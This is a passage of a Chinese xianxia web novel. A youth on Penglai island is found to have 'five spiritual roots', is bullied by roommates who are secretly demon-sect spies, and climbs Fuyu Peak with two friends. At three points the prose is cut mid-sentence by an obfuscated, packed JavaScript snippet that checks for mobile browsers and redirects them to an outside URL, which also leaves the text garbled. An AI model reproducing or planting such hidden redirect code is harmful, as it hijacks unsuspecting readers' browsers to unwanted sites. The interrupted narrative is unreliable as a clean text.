正欲转身的岛主与岛主夫人因这一句,目光在测灵鼎边的少年身上多停留了几息。 此话一出,晏景行期待的神情瞬间僵硬成石。 他双目微微瞪大,下意识侧耳前倾,既怀疑自己听错了,又想从弟子脸上看出些玩笑意味。 然而,弟子眼中只有些许怜悯。 那点怜悯刺眼得像逃命那夜,黑衣人手中剑折射的一抹冷光,又似力敌千钧的一记重拳,狠揍在他胸口。 晏景行后背一冷。 学堂的教书先生戳着他鼻尖,说他朽木不可雕,不如卷纸笔回家时,也是这种感觉。 像兜头一盆凉水,从头淋到脚。所有激情与期望的火苗,都湮灭成了一缕泡了水的白烟。 这个结果可谓是几乎断送了晏景行修仙的门路。 何为五灵根? 说得好听,叫五灵根,实际上就是废灵根。只要不是年老体衰、四肢残缺、病入膏肓之人,都不可能测出废灵根。 正常人测出这玩意儿的概率,跟测出天灵根的概率不相上下,都是百年难遇的极品。 弟子可不管晏景行能不能接受,照规矩办事:“下一位,琼州陆思涯,年十八。” 晏景行顶着众人或同情或轻蔑的视线,茫茫然跟着测完的人流往外走,直到连长机追上来,一巴掌拍在他肩上,才把他拍过神。 “那测灵的东西是不是给你测错了?”连长机跑了一路,气息却不乱,“你怎么可能会是废灵根呢。” 晏景行听了这话,心里难受更甚。 看来不止他自己这么想,就连好友也觉得不可能。 好端端的,他怎么就是废灵根了? 才赶到的陆思涯看了看四周,低声道:“先不管测灵是否有误,晏兄若想留在蓬莱仙岛,恐怕待遇……” “待遇如何?”连长机迫不及待问,“难道不是同普通弟子一样,求仙听学,习法修道?” 晏景行也看向陆思涯,等着后话。 只是不等陆思涯跟他们解释,已有弟子过来带他们离开,前往弟子住所。 测过灵,凡三灵根及以下的,去留随意。若不去,领了腰牌,住在青客居。凡双灵根及以上的,则住在旁边的飞云居。 三人中,只有连长机为双灵根,陆思涯与晏景行,分别为三灵根和五灵根。 不同灵根的腰牌颜色也不同。 双灵根的腰牌碧绿,三灵根腰牌水蓝,五灵根则是漆黑。 至于天灵根的腰牌,今日测灵并没有人测出来,自然也就没机会见识。 “晏兄,你我住一个地方。”陆思涯晃了晃腰牌,对他笑了笑。 晏景行扯动嘴角,笑不出来。 除了几位上了年龄的老者跟病秧子,测出五灵根后,识趣地离开了,现在只剩下晏景行一根独苗。 他有些恹恹地找住处。不巧的是,陆思涯跟他不是一个屋子,不过离得不远,就在隔壁。 屋内宽敞亮堂,一屋四个人,走动的空间绰绰有余。 本着友好相处的打算,晏景行提前换了副笑脸,一进去就跟靠门最近的弟子打了个招呼:“仙友你好,我叫晏景行,以后我们就是同一个屋里的人了。” 那人原本还在跟旁人说笑,转头看见他的腰牌,笑容淡了不少,一字未答,只当没听见。 屋内四张床,左右各两张,中间隔着一扇屏风,其余三张被子,都有掀开过的褶皱痕迹。 晏景行交好不成,不尴不尬地收了笑,自顾自走到第四张床榻边,跨腿一坐,手肘撑着膝盖,心里生出些许不解。 最后一位弟子大概是先前有事出去了一趟,这时才回来。 四人齐聚一堂,但仍旧没人过来跟他搭话。 晏景行从小就是个爱凑热闹的性子,初到新地方,一肚子话想跟人说。 他连怎么自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540493|170955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家住哪里,家里干什么的,晏西施每天要打他几顿都想好了,这下全都胎死腹中。 听着那边交谈声起,晏景行从怀里摸出一块巴掌大的铜镜,对着自己左照右看。 他虽长得不说绝世惊人,但也绝对谈不上丑陋,怎么没人愿意搭理他? 因这件事,晏景行辗转许久,才撑不住睡过去。而这个疑惑直到后半夜冷醒,他才得以解开。 晏景行没有起床气。他平日看似桀骜不驯,眉头一皱便是一副不好惹的凶样。实际不管遇到什么人,都愿意耐着性子磨一磨,努力契合。 但这并不代表他半夜无端被人折磨醒,也不会有脾气。 晏景行压着心里那股将燃未燃的怒火,不慌不忙地坐起身,敞开双腿踩在床边。常年奔跑的小腿笔直,线条流畅有力,脚背微弓,状如树脉的青筋沿着骨头展开又没入皮肉里。 此刻他的被褥里一片冰冷湿润,边角还滴着水。 晏景行道:“怎么回事?” 询问里带了一丝质问。 他刚睡醒的嗓音不如白日清亮,喉中像黏了蛛网,吐字不甚清楚,但足够低沉压迫。 “哎呀!”为首的弟子夸张地怪叫一声,像是才发现这事,围着他的床,歪头打量,“晏兄,你这床怎么湿了?莫不是这么大的人,还尿裤子?” 粗鄙的话一出,另外两人顿时憋不住发出嗤笑。 蓬莱仙岛午夜时分虽不如白日明亮,但到底有朦胧的白光,初来乍到的人大多不能习惯。 好在仙门周到细致,在弟子住所布置了一片挡光的紫竹林阵,阵形可随时辰变化移动。 屋里不知何人何时点了一盏夜烛灯,大概是担心泼水时不能一泼即中。 晏景行借烛光扫了眼他的腰牌,知道了这夸张派传人的名字。 孟郡良。 他站起身,赤脚踩在地上,垂眸凝视对方。 其余两人见势,立刻围上来,以显人多势众。 “怎么着。”孟郡良吞了吞唾沫,躲避了一下晏景行审视的黑眸,想到自己背后还有帮手,忍住了后退的举动,“你尿裤子我们不能笑?” 之前没理会晏景行主动交好的那人,冷不丁开口:“全门派就一个废灵根,还在我们屋里,真是丢人。” 晏景行唇缝紧闭,在旁人看不见的地方,咬得牙根发酸。 他大可以出手跟他们几人打一架,虽然数量上他不占上风,但对面三人没一个比他高壮的,最坏也是个两败俱伤。 可刚第一天,就跟同门打架,他再怎么委屈,说出去也是互殴,怕是讨不着好,不如等天亮了去告他们一状,出出气。 孟郡良是个人精,一见晏景行的神情,心里猜到了七八分,勾唇得意道:“你想告状?” 另一个还没开过口的人此时也终于忍不住了,看晏景行的眼神像是在看跳梁小丑。 “省省吧。” 这人说话的嗓音不比同性的粗犷或低沉,而是有些尖锐,好似喉咙里生了根银针。脖子出奇地比常人细,视觉上显得更长。加上他说话时神态傲慢,活脱脱一只尖嗓细脖的大鹅。 “你以为我们怎么敢这么肆无忌惮的?废灵根在仙门里,充其量就是个挑水打杂的,谁会在乎呢。” 他一句话轻飘飘的“挑水打杂”,就定了晏景行的命运。 晏景行拳头发白,捏得指尖充血。他上前一步,身高压了孟郡良一头。 “半夜泼水的人,又有什么资格看不起挑水的?” 他睥睨三人,一点下风也不肯落:“没人挑水,下次你们想泼人冷水,又要去哪里舀,是吧?” 5. 微茫2 经这一闹,四个人都没了睡意。 晏景行不肯吃亏,一言不发地抱起另外三床被子,全放在了自己床榻上。 孟郡良大怒,从他的举动中受到了莫大的侮辱:“你做什么!” 晏景行跳上床,脚底的灰用被褥悉数蹭干净:“我冷,借你们的被褥盖盖。毕竟我是五灵根,比不得你们天资过人,身强体壮,冷寒不惧。有句话不是说了,能力越强背负越重。既然你们这么厉害,让让我怎么了?” 孟郡良本以为他是个面白皮薄的软柿子,没曾想捏碎柿子跳出来一个泼皮无赖。他瞪着晏景行,手指狠戳几下空气,半天没说出反驳的话。 晏景行翘着腿,胳膊枕在脑后,斜着视线把另外两人的名字记下。 假清高的叫木含晚,长脖大鹅名云不还。 三人吃了个哑巴亏,空坐在床上,阴测测瞪着晏景行。 晏景行亦不服输,两只眼睛恨不得能观三方,输阵势也不输气势。 就这样,四个人干瞪眼到天亮。 师兄们早早地过来,叫新弟子们到隐云殿会合。 即日起,他们正式踏入修仙之途。 晏景行一路上不停按揉眼眶四周的肌肉。他一夜没合眼,眼球明显多了几条红血丝。 连长机不免关心道:“你怎么了,认床没睡好?” 晏景行想到昨晚的事,被同屋的人嫌弃排挤,实在丢脸,他说不出口。 陆思涯心思多敏,猜测道:“晏兄,莫不是与同舍几人不合?” 被他一猜中,晏景行只好将事情原原本本地告诉了他们。 “怎么会这样?”一腔热血的连长机听完,语气夹怒带火,“排挤同门,以多欺少,为人最基本的礼义廉耻都做不到,还拜什么仙修什么道!我去找管事的师兄评理,绝不可纵容这歪风邪气!” 晏景行拦住他:“评理的事后面再说,先去隐云殿吧,别让师兄们久等。” 隐云殿前,一眼望不到尽头的灰白空地。远处仙雾奇形怪状,偶尔传来几声鸟兽啼鸣。 沈端宁迎着众人的目光,昂首慢步走到队伍前方。 旁边一名弟子道:“这位是负责教你们的沈端宁沈师兄,目前已是元婴阶。以后有什么不会的,都可以请教他。” 底下哗然一片惊叹。 “元婴啊,我什么时候才能到元婴?” “听说元婴阶能活千岁,真的假的?” “沈师兄可真厉害,这么年轻就到元婴了!” 数不清的仰慕与艳羡的目光聚集一身,沈端宁扬起嘴角,往前踏了一步,显然有话要说。 弟子们纷纷闭口禁言,他神情更加愉悦。 “各位新弟子们,进了蓬莱仙门,我们便是一家人,虽不必过分生疏,但也不可妄为造次,凡事要遵守分寸二字。需时刻谨记仙门三则仙训,不可违反。” “请各位听好了,第一则仙训乃向内:修德,明理,追义,知礼,改善,为和。” “第二则仙训乃对外:不可欺瞒,不可凌弱,不可失信,不可偷窃,不可袖手旁观,不可背信弃义。” “第三则仙训,也是最重要的一则,便是求仙问道,当坚守本心,永志不忘!” 底下弟子个个听得面颊泛红,热血沸腾,恨不得立刻拿起剑操练。 晏景行自然也是如此。 他虽对沈端宁第一印象不太好,但今日一听人家已是元婴阶,大抵猜到了对方不理人的缘由。 解了心头疑惑,涌上来的便是一股豪情壮志。 相比晏景行与陆思涯,连长机淡定极了。他心里的确有动容,不过细思仙训内容,再一想晏景行同屋那三人,又觉得讽刺。 晏景行不是没跟他想到一处,只是他性格使然,情绪习惯分先后轻重。 好比眼下,占据他最大心胸的就是激动之情。那些旁的,只能靠边站,等有时间了再慢慢抒发。 沈端宁讲完仙训,又开始讲解修仙阶段。 蓬莱修仙一共分为十个阶段:锻体,凝气,筑基,金丹,元婴,化神,洞虚,大乘,渡劫,飞升。 每升一阶,仙修们都会形成新的识海。 “今日第一课,入门锻体法。”沈端宁指着众人身后,“那是蓬莱的浮玉峰,高一千八百余米。从今日起,接下来的一个月,你们每天都要攀爬登顶,不可偷懒。” 顺着他手指方向,所有人望过去,看见一座高耸入云,不见其顶的山峰,先前的蓬勃志气多多少少吓散了。 沈端宁言出即行,跟另外几名师兄带着他们到了山脚下。 “你们现在还未辟谷,这是我们提前准备的馒头,一人一个。” 说话的是昨日带晏景行三人测灵的师兄,他胸前坠着黑绳串起的骨哨,轻轻一吹,哨声轻盈。一只头上长着珊瑚状长角的动物,拉着一车馒头凭空出现。 这场面说不出的滑稽,一个是从未见过的奇珍异兽,一个是随处可见的面食,两者混在一起,多少有些格格不入。 晏景行稀奇地打量起眼前的奇兽,见它面似牛,身体又像鹿,爪子跟西施客栈隔壁的狸花猫一样,毛茸厚实。 弟子们依次拿了馒头放在怀里,一声哨响,奇兽与车凭空消失。 沈端宁道:“峰顶有一石碑,你们到达后,在上面以血为印,我们这边会收到记录。天暗前回到隐云殿,每人领到一把木剑才算结束。下山时你们会看见一条岔路,走那条岔路即可。” 一人搓了搓手指,小声道:“每天都要按一次手印,岂不是天天都要割破手指?” 沈端宁耳廓微动,露出一个极浅的笑容:“只今日按一次即可,后面不用。” 其余人都有同样的疑惑,一听这话,放下了心。 沈端宁吩咐完,跟几名师兄一道离开,留下一群新弟子在山脚下面面相觑。 晏景行率先走出人群,沿着山路往上,连长机跟陆思涯紧随身后。 “嘁,抢着出什么风头。”孟郡良慢他一步,见其余弟子跟着晏景行上前,酸着语气挑刺,“一看便不会爬山,闷头往前冲这种蠢行,只会更快消耗体力,最后反而落在末尾。” 但凡有明事理的人听见,只怕会暗自腹诽:爬山本就是任务,何来出风头一说。 可孟郡良看晏景行不顺眼,铁了心要鸡蛋里挑骨头。那么不管晏景行做什么,怎么做,孟郡良就算是编,也会编出理所应当嘲笑他的理由。 木含晚跟云不还对视一眼,彼此没说话,但附和地冷笑了一声。 浮玉峰山腰下的路还算好走,晏景行三人爬得轻松,直到他们看见一块路碑。 “前方奇境多险,独行恐有性命之忧,望三思。” 晏景行念完,看向旁边两人:“这句话有点奇怪。” 陆思涯问:“哪里奇怪?” 晏景行一笑,两枚虎牙隐现唇间:“看完莫名有一种‘我还非要上山’的冲动。” 连长机摇了摇头,早猜到他会这样说。 “走吧。”晏景行无惧无畏,抬脚继续往前。 走了不到十米,周围环境骤变。 蓬莱仙岛常年如春,岛上奇花千年不谢,瑶草万载常青,此刻却换了一副光景。 天一瞬间浓黑,雪厚如被,簌簌几息叠了三人一身雪。 狂风拔地起,吹得他们睁不开眼,寸步难行。 晏景行脚下一滑,干脆趴在地上,匍匐前进:“跟着我!” 他一张嘴,吞了不少雪花,丝丝凉意融在口腔。 三人艰难挪动,头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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习以为常的百姓便会端着板凳,坐在街边。不一会儿,就能看见一少年风风火火地窜过街道,后面紧跟着一手持木棍或竹条的女子。 连长机第一次见晏景行,就是这样的场景。 回想起来画面虽然有些滑稽,但不得不承认,这种锻体方式不仅无害,而且效果甚好。 两人的差距在这时显露,他不愿拖累晏景行,在身后喊道:“景行,你先走,我们跟着。” 过了会儿,晏景行竟返身往回走。 “你做什么?”连长机不解,“我们能达到峰顶,不用这样……” “不。”晏景行顶着几乎成瓢泼在身上的大雨,语气认真,“我们三个互相拉着走试试。” 如剑的雨幕中,连长机胡乱去寻陆思涯的手,好半天才跟他紧握。另一只手牵着晏景行,三人互相扶持往前。 走了几步,连长机惊讶:“怎么感觉轻松了不少。” 他扭头看晏景行,见这人挑眉得意道:“我回来可不是为了跟你扮演兄弟情深,只是为了验证,这样是不是能走得快些。” 连长机失笑。话虽如此,但他知道,就算没有这个猜测,晏景行大抵还是会回来。 陆思涯也笑了:“景行兄,你怎么会想到这点的?” “很简单。”晏景行漫不经心地甩了甩头发,“那块石碑上不写着吗?‘独行恐有性命之忧’。师兄们打着锻体的旗号让我们爬山,除了身体的测试,恐怕还有心性的锻炼。” 陆思涯道:“原来如此。”他眼底闪过一丝精光,看向晏景行的眼神变得有些不一样。 6. 微茫3 三人顺利出了奇境,全身的狼狈不适瞬间消失,恢复成进入奇境前的模样。 晏景行低头扫了眼身上,惊讶道:“这奇境还挺有人性的。” 连长机笑了笑,看向前方。 眼前道路逼仄险峻,山壁光滑如镜,稍有不慎掉落,下场恐怕比粉身碎骨好不到哪里去。 晏景行带头,作壁虎状贴着陡峭的山壁,一步步往前挪。 山壁上除了偶尔突出的石块,没有任何东西供他们支撑平衡,全凭自身重心稳固。 就这么悬心吊胆、大气也不敢出地走了一段时间,前方出现一根铁桩。铁桩上绑着一条铁索,延伸向前,看不见尽头。 晏景行浑身酸痛,手臂伸过去握住铁索时,肉眼可见的颤抖。 有了铁索分力,三人终于可以暂时歇息。粗重的呼吸声此起彼伏,再到逐渐平复,后头响起了动静。 “他们赶上来了。”连长机在最后,回头想看一眼其余人的情况,却被山壁挡住视线,“继续走吧,免得到时候催我们。” 晏景行听着声音,判断道:“应该有不少人放弃了。” 另外两人心绪有一瞬的复杂,不过并没有时间多想。 头顶澄澈的白天一寸寸转为银灰色,光线暗下来,大概到了傍晚时辰。 晏景行爬到最后,双腿都在打抖,脚步虚浮像踩着云一路飘,软绵无力。 直到前方无路,铁链盘绕峰顶,收敛许多光芒的太阳几乎贴着他的脸,就在眼前。 从上往下看,云海荡潏,金光粼粼,不断变幻。云雾时沉时浮,偶尔露出一点树木的尖端。 晏景行咬牙在石碑上按下手印,顷刻脱力,身子一翻,四仰八叉地瘫在地上,双目微眯望着天。 连长机跟陆思涯紧跟着到达,按了手印也往他旁边一趟。 “累死了。”晏景行喘着气,听见腹中响了几声,“差点忘了,馒头还没吃呢。” 其余两人一听,方才想起来。 “这一路上尽折磨人,根本没时间。”陆思涯摸出馒头,有气无力地咬了一口,嚼了大半天才咽下。 晏景行坐起来,怀里的馒头已经被他压成了饼。 他看向连长机形状还算完整的馒头,语气毫不心虚:“我跟你换。” “滚。”连长机初次说这种粗鄙之语,刻意忽略心头那股不适应。说出口后,细品了几秒,不得不承认的确畅快。 晏景行双目微瞪:“爬山爬傻了吧,你居然骂人了?” 陆思涯咬着馒头发笑。 连长机没忍住脸红,闷声道:“怎么,只许州官放火,不许百姓点灯?” “许许许。”晏景行点头,抬起手臂,“对了,你们看那边。” 遥远的九天之外,有一齐天山柱屹立天地之间。 晏景行奇怪道:“那根柱子是什么地方?” 连长机摇头,并不知情。 陆思涯咀嚼的动作一顿,神情划过一丝了然。 他缓缓开口:“没记错的话,那是蓬莱仙岛的一处禁地。” “禁地?”晏景行好奇地盯着他,“为什么是禁地,难不成里面有妖怪?” 连长机的关注点跟他不同:“陆兄,你怎么知道这么多?” 陆思涯微微一笑:“我能知道这些,是因为我有个年长十多岁的兄长,也曾来过蓬莱求仙问道。” 晏景行“哇”了一声,两三口吃完了馒头,追问道:“你兄长法术怎么样,厉不厉害?” 陆思涯垂下眼睫:“不清楚,他在几年前已经死了。” 晏景行的表情僵了一瞬:“抱歉啊,我不是……” “没事。”陆思涯没什么负担地笑了笑,“跟你们又没关系。他是降妖除魔,不慎被妖怪杀死的,也算是实现了自己的抱负。” 气氛微怪,陆思涯主动转移话题道:“说说禁地吧,这些事也是我兄长以前当故事讲给我听的。传说四海八荒,有四凶八魔,妖魔之道最初并不被视为‘邪恶’。因为六界有六界的规矩,各界之间循规守矩,井水不犯河水。” “修魔之道提升法力虽快,但也有弊端。那便是魔气暴涨,极容易失控。四凶八魔中,有一凶不慎失控,引得其余同类接连丧失理智,伤了许多生灵。” “后面是不是打起来了?”晏景行听到此处,没忍住开口。 “对。”陆思涯点头,“天界、仙界、鬼界、妖界等地,结盟降伏这四凶八魔。被牵连失控的三凶八魔,在各方派来的精兵铁将的攻势下成功斩除,唯有最先失控的一凶,各界想尽办法,也没能战胜。后来是一对战神夫妻出手,以脱仙骨、去仙命为代价,殊死一战,才终于把它镇压在那里。” 陆思涯望向遥远天际之外,一字一句道:“邪魔终年不灭,寒冰终年不化,精兽避之不及,神仙有去无回,蓬莱仙岛第一凶险绝地——扶病台。” 晏景行眺目远望,心里划过一丝异样,只是速度快如石火光阴,没等他品出味儿来就消逝了。 陆思涯刚说完,陆续有弟子登顶。 晏景行歇够了,起身拍了拍衣服上的灰尘,打算找到沈端宁说过的那条岔路回去。 连长机避开其他人,小声问:“你那块玉佩呢?我没见你戴在身上。” 晏景行道:“收在屋里了。” 虽然屋里三个人都跟他不对付,但藏玉佩时他没让其余人看见,应该不会被发现。 连长机道:“提防些。” 晏景行点了点头。 两人说话声细若蚊蝇,陆思涯就在旁边也没听清。 不远处木含晚与云不还迎面走过来,意味深长地看了晏景行一眼。 晏景行端着表情,同样意味深长地看了回去。 等他走远,云不还道:“他什么意思?” 木含晚脸色微冷:“装腔作势罢了。” 此二人乃魔界之徒,窃听之术信手拈来,自然不可能错过晏景行跟连长机的对话。 想起他们此行来蓬莱的任务,云不还不由猜测:“他们方才说的玉佩,莫非就是魔尊要找的东西?” 木含晚警告地瞪了云不还一眼,压低声音道:“你疯了?别在这里说。” “干什么呢你们俩?”按完手印的孟郡良等了半天,回头一看两人站在原地一动不动,“神神秘秘的,该不会是想到什么新招,作弄晏景行那厮了吧?” 木含晚在心里冷嗤一声,孟郡良这人实在蠢坏得出乎他意料。 他跟云不还奉魔尊之令,混入蓬莱寻找战神后人。既然是战神后人,必定天生灵骨,注定不凡。 因此在看见晏景行不过区区五灵根时,他便懒得耗费精力搭理。 不知道孟郡良的脑子怎么想的,竟理解成了孤立晏景行的意思。 行为虽幼稚难登台面,但想到晏景行的反应,木含晚又觉得,这算是以后枯燥日子里的一种乐趣,也就没阻止。 “作弄什么。”云不还瞥他一眼,“每天都要爬这破山峰,哪儿来那么多时间。” 提到这个,孟郡良一阵后怕。先前在下面,他差点掉下去没命,幸好木含晚拉了他一把。 “木兄,大恩大德无以为报,今后我心甘情愿给你当牛做马,绝无半句怨言。” 木含晚嘴角抽了抽,他并没有舍命救人的意思,只是反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540495|170955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应比常人快,顺手的事罢了。 虽然如此,明面上他还是温和道:“孟兄不必客气,举手之事,何足挂齿。” 孟郡良心里滑过暖流,眼珠子一转,贼眉鼠眼之态横生:“木兄,云兄,等锻体结束,我们学了法术,晏景行那破灵根肯定赶不上我们,到时候,还不是我们想怎么整他,就怎么整他。” 木含晚不冷不热地应了一声:“到那时再说吧。” 回到隐云殿,沈端宁坐在不远处放置的桌椅上不动如山,还是那位好心师兄出面,给他们分发木剑。 晏景行注意到他腰间的水蓝腰牌,说了句:“多谢祝师兄。” 祝风歌听见他这样说,微微一愣,和善的神情多了几分笑意:“师弟不必客气。” 三人领了木剑,却并未离开。 祝风歌道:“几位师弟还有什么事吗?” 连长机道:“有。” 他把晏景行被同屋人排挤一事,娓娓道来。阐述间,沈端宁朝这边望了一眼。 祝风歌皱着眉头听完:“此事我不能单听你们一面之词,就判断真假对错。孰是孰非,还是等另外几位师弟回来当面对峙吧。若真像你们所说,蓬莱仙岛对这类事绝不姑息。” 孟郡良看见祝风歌旁边的晏景行时,心里咯噔一响,预料到了什么。 果不其然,等他们过去,祝风歌脸色微沉,询问了昨夜发生了什么。 孟郡良脸色煞白,吞吞吐吐说不出话,直把求助的目光往木含晚跟云不还身上打转。 木含晚与云不还谨记行事不能惹人注目的要领,纷纷低头不做声。 在祝风歌问到他们二人时,木含晚才抬起头,不卑不亢道:“我们初来乍到,彼此并不熟悉,更无冤无仇,师兄问我们,是想知道什么?” 孟郡良一听,赶紧道:“就是就是,我们第一天见,都不知道他叫什么名字,又怎么会半夜泼水作弄他呢?” 木含晚闭了闭眼,暗骂了一句“蠢货”。 祝风歌的神情从严肃要松动又转为了严肃,甚至程度更深。 “我只是问昨夜发生了什么,可没提泼水作弄的事。孟郡良,倘若你没做过,怎么知道他们跟我说了什么?又怎么知道我要问什么?” 晏景行不懂蓬莱仙岛的处罚手段,不过想也知道,孟郡良大概不会因为这件事被逐出仙门。 归来的弟子越来越多了,祝风歌看了眼四周,对他们几人道:“都跟我过来。” 离开时他拍了拍另一名师兄:“蓝涧,我先走了,记得给弟子们发木剑。” 六人跟着他到了一处偏僻的亭子,大有不把来龙去脉寻根究底不罢休的架势。 祝风歌一双眼睛如明镜高悬在脸上,洞悉的目光直逼射得孟郡良冷汗连连,心里防线一破再破。 再加上他独有的问话技巧,很快孟郡良便面色惨白,破罐子破摔地把事情经过和盘而出。 祝风歌听完,沉默了一会儿。 他看向晏景行,视线在他黑色的腰牌上顿了两秒,再观晏景行的面相,实在不像废灵根资质。 他心里有些古怪,但现在并不方便说这些。 “既然你们不和,那便换房间吧。”祝风歌指了指孟郡良三人,“事情因你们而起,晏景行不过平白受罪,没道理让他搬出去,我会找另外三个人跟你们换。” 这件事由祝风歌一锤定音,告一段落。 除了换住处,孟郡良三人还被罚抄了蓬莱仙岛的仙训。 爬了一天山,没有不腰酸背痛,精疲力尽的。想到这样的情况下,孟郡良他们还得苦哈哈抄仙训,晏景行乐的走路都透着春风得意。 7. 微茫4 后面的日子,晏景行每天两眼一睁就是出门爬山。刚开始爬完山峰,一觉醒来,身体的知觉碎成东一块西一块,直到完全苏醒,才拼凑成完整的躯体。 后面渐渐适应,腰不酸腿也不疼了,每个人都感受到了自身的变化。走路如携风,步子似轻云。 晏景行本就身健而体力旺盛,爬山正好消耗了他多余的体力。为期一月的锻体结束,他反而不太习惯。 因为锻体期不少人半途而废,所以凝气阶断场面没之前那么拥挤。 还是由沈端宁出面指导。 “你们知道,仙门为什么要你们爬一月浮玉峰吗?” 四下无声,晏景行举手道:“我知道。” 沈端宁看过去,这是他第一次以正眼看晏景行。 他一向不喜欢性格外放,初次见面便表现熟稔的人。在他眼里,这类人大多缺乏管教或自我感觉良好,会习惯性做出过界、无礼的行为。 晏景行诚然符合这些特点。不过此时此刻,相对满场哑口无言的其他人,他接话的表现,又让沈端宁觉得有那么一丝顺眼。 于是他施舍了几分耐心道:“你来说说看。” “是灵气。浮玉峰上的奇花异草常年不谢,应是靠充沛的灵气滋养。”晏景行分析得头头是道,“仙门安排我们爬山,一是为了锤炼肉//身,增强体魄。二则是让我们在爬山过程中,吞吐灵气。毕竟爬山是个体力活,人一累便会加快呼吸。气喘间,更能吸进大量灵气。” 沈端宁眼里闪过一丝精光,翘起嘴角,意味显然地点了点头:“正是你说的这样。” 晏景行顿时露出虎牙,笑容夺目。 初升旭日下,他双目璀璨明亮,恍若眼里装了第二个太阳。 沈端宁移开视线:“现在我将教你们如何凝气。配合蓬莱仙岛的灵咒法术,引天地灵气入体,吸纳吞吐,奉为己用。” 众弟子跃跃欲试。 沈端宁教了口诀,打断弟子们的尝试:“浮玉峰的确有灵气,但灵气分布不均。山底、山腰、山顶的灵气依次增加,若想更快学会凝气,我推荐你们上山顶。” 教完口诀,又嘱咐了几句,沈端宁依旧毫不留情地离开了。 连长机问都不问,直接道:“去山顶吧。” 晏景行点头,脑海里翻来覆去地默念口诀。 这段时间,峰顶的景色晏景行看了无数遍。他向来喜欢新奇的事物,再如画如诗的风景,看多了也会腻。 有不少弟子跟他们一样,选择了峰顶凝气,三三两两分布在其他地方。 凝气没有固定时间,有的人短短几天就能掌握,有的人则需要半个月,甚至更久。 晏景行练累了,盘腿坐下,眺望蓬莱仙门一处雪白的阁楼。 那座阁楼不如宫殿辉煌,甚至有几分朴素,不知道里面住着何人。 他想起仙童说过的敛春居,从来没安分下去的心脏再次荡漾。 只是蓬莱仙门大大小小的宫殿楼宇,像草一般随处可见,没人带路,他根本找不到地方。 晏景行叹了口气。 仙子的身影在他脑海里晃了一个月,不仅没磨灭那股说不出的少年心绪,反而愈燃愈烈。 陆思涯停下动作,问道:“景行兄,可有烦心事?” 连长机眉头一皱:“难道又是跟同屋的人不合?” “不不不,”晏景行赶紧摆手,“那三人挺好的,虽然话不多,不过没什么冲突。” 连长机道:“那你好端端的叹什么气?” 晏景行托着脸,悠悠道:“入我相思门,知我相思苦。” 连长机转身对陆思涯道:“别管他了,我们继续练吧。” “诶!”晏景行扯着嗓子喊,“你俩好歹问一句啊!” 连长机道:“不问。” 陆思涯道:“不听。” “行。”晏景行指着二人,“我还偏要告诉你们。” “看见下面的宫殿了吗?”他一骨碌从地上爬起来,在铁链附近转来转去,好似指点江山,“我要先找到敛春居的位置,再按浮玉峰的方位,把宫殿布局画成路线图,然后找时间去敛春居,最后……” “被守殿弟子发现丢出来?”连长机忍不住道。 陆思涯手指轻摸下巴:“也可能会被仙子直接打出来,私闯女眷闺阁,如此登徒子行为,或许还会游车示众,以示惩戒。” 连长机道:“到时候我丢菜叶一定轻点儿。” 晏景行道:“够了。你们两个还是不是朋友了?” 连长机微微一笑,不言语。 陆思涯吹口哨,看向一边。 二人的反应没让晏景行死心,凝气这几天,他一边练功,一边把蓬莱仙岛路线图画了出来。 “我还缺一身行头。”事毕,晏景行终于能歇息会儿,拿出路线图摸索。 连长机看他跟疯魔了没什么区别,有些担忧:“你小心些,这里可不是柳州城。” 提醒完,他还是忍不住问道:“什么行头?” “夜行衣啊。”晏景行理直气壮,“那些话本里都是这么写的。穿一身夜行衣,飞檐走壁,融于夜色,来无影去无踪。” 陆思涯插话道:“可是景行兄,蓬莱没有黑夜吧。” 晏景行:“……” 连长机扶额,没憋住笑了出来。 “那……我穿一身白色?” “你穿成百花齐放也没用。”连长机拿过他手里的图纸,“你知道敛春居在哪里了?” “打听到了!”晏景行拍拍胸脯,提到这事就心花怒放,“这点本事我还是有的,你们看这里。” 他指尖在图纸的某处一戳,围着中心打转了几圈,庆幸道:“离青客居不远。只要经过三座宫殿,两座桥,以及两个花园就到了!” 连长机无情道:“中间数不清的走廊跟弟子你怎么不说?” 晏景行坐回地上,双手撑着地面,身子往后一仰,望着天上浮云,神情透着一丝惬意:“别管这些,反正我是一定要去见仙子的。” 这句豪言壮语,晏景行没能找到机会实现。 凝气完成,沈端宁没给他们喘息的时间,紧接着教一些最基础的法术。 世间基础不过五行。他们所学的便是五行元素相关的法术:控火、避水、流沙、通木、点金。 因初学成功,有运气成分。所以弟子们需要每天不断重复练习,直到百试百灵,万无一失才算过关。 也是这时,晏景行发现自己还是高兴得太早了。 自从沈端宁教了五行简术,他走路经常会莫名其妙地被路边的草木绊倒,又或者脚下泥土在短时间内变得松软,等他差点摔跤时,又恢复成坚硬。 晏景行不傻,种种迹象表明,有人在暗中给他使绊子。 这天又出现一样的情况。 